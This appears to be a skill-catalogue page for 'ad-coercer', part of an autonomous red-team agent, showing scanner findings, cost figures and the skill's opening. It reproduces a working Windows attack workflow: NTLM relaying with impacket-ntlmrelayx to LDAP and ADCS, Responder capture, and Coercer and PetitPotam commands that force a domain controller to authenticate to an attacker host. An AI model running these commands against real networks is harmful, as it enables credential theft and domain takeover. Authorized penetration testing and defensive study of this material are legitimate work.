Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill coercergit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/coercer)<a href="https://agentmods.dev/skills/purpleailab/decepticon/coercer"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/coercer/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/coercer"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/coercer.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 7 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 83 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- medium Privilege Escalation · line 34 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 40 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 42 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 50 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 36 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 52 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00072 | $0.01343 |
| Opus 5 | $0.00036 | $0.00672 |
| Sonnet 5 | $0.00014 | $0.00269 |
| Haiku 4.5 | $0.00007 | $0.00134 |
Grade B, and why
ad-coercer scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support Copies of this mod
1 near-identical copy found in the catalogue:
- coercer — 100% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 107 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Authentication Coercion (PetitPotam family)
Force a Windows machine — usually a Domain Controller — to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via ntlmrelayx) or crack it offline.
The family of coercion vulnerabilities
| Vector | Protocol | RPC | Mitigated by |
|---|---|---|---|
| PetitPotam | MS-EFSR (Encrypting File System Remote) | EfsRpcOpenFileRaw |
KB5005413 (Aug 2021) — partial; bypasses persist via other Efs* methods |
| PrinterBug | MS-RPRN (Print System Remote) | RpcRemoteFindFirstPrinterChangeNotificationEx |
Disable Print Spooler |
| DFSCoerce | MS-DFSNM (Distributed File System) | NetrDfsGetVersion, NetrDfsRemoveStdRoot |
Restrict DFSN to admins |
| ShadowCoerce | MS-FSRVP (File Server Remote VSS) | IsPathSupported |
KB5015527 (Jul 2022) |
| CheeseOunce / WebDavCoerce | WebDAV WebClient | (various) | Disable WebClient service |
All four boil down to: an unauthenticated/low-priv RPC call that triggers the target to authenticate outbound.
Workflow
1. Set up the listener (attacker)
# Option A: ntlmrelayx (relay auth to a useful service)
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support
# OR relay to ADCS for cert-based domain admin:
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# Option B: just capture the hash
sudo impacket-ntlmrelayx -t ldap://dc.target.local --no-smb-server
# OR with responder
sudo responder -I eth0
2. Coerce auth from a target machine
# Coercer — meta-tool, tries every vector
git clone https://github.com/p0dalirius/Coercer
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u 'low_priv_user' -p 'pass'
# or anonymous (often works pre-PetitPotam patch):
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u '' -p ''
# Or individual scripts:
python3 PetitPotam.py <attacker_ip> <target_ip>
python3 dfscoerce.py -u lowpriv -p pass <attacker_ip> <target_ip>
python3 printerbug.py target.local/user:pass@<target_ip> <attacker_ip>
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 107 lines · 72 tokens per session scan B 7c3a6b751f0a
ad-coercer is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 11d ago), licensed Apache-2.0. It adds 72 tokens to every session and 1,343 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
onboarding
First-time user onboarding to set up investment profile, watchlists, portfolio, and preferences.
idea-generation
Stock screening and idea generation: quantitative screens, thematic analysis, shortlist.
secretary
Workspace and research management — dispatch analyses, monitor running agents, manage workspaces and threads.
python-lib-analyzer
Analyze any Python library structure, explore modules, classes, and functions with signatures and documentation.
analyzing-windows-prefetch-with-python
Use when parse Windows Prefetch files using the windowsprefetch Python library to reconstruct application execution history, detect renamed or masquerading binaries, and identify suspicious program execution patterns. Use when working with analyzing windows prefetch with python.